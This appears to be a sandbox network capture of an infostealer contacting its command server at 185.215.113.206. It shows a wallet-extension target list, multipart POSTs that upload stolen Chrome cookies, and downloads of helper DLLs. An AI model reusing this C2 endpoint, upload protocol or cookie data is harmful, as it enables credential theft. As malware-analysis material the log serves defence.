TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 27, 2024 00:31:03.901607037 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 27, 2024 00:31:03.901621103 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 27, 2024 00:31:03.901926041 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 27, 2024 00:31:03.902146101 CEST	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 27, 2024 00:31:03.902158976 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 27, 2024 00:31:03.902169943 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 27, 2024 00:31:03.903744936 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIIIEHCFIECAKFHJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 49 49 45 48 43 46 49 45 43 41 4b 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------GDHIIIIEHCFIECAKFHJDContent-Disposition: form-data; name="message"fplugins------GDHIIIIEHCFIECAKFHJD--
Oct 27, 2024 00:31:04.374685049 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 27, 2024 00:31:04.394176006 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 6515 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 00:31:04.394251108 CEST	6515	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 27, 2024 00:31:05.191514015 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:05.448975086 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:05.729087114 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 27, 2024 00:31:05.729121923 CEST	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 27, 2024 00:31:05.729131937 CEST	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
Oct 27, 2024 00:31:09.916559935 CEST	953	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGD Host: 185.215.113.206 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------BFHJJJDAFBKEBGDGHCGD--
Oct 27, 2024 00:31:10.702639103 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:10.796968937 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Oct 27, 2024 00:31:11.578131914 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:12.315771103 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Oct 27, 2024 00:31:13.097027063 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:13.398140907 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:13.675811052 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 27, 2024 00:31:15.117372036 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:15.395642042 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 27, 2024 00:31:16.249138117 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 00:31:16.527177095 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( 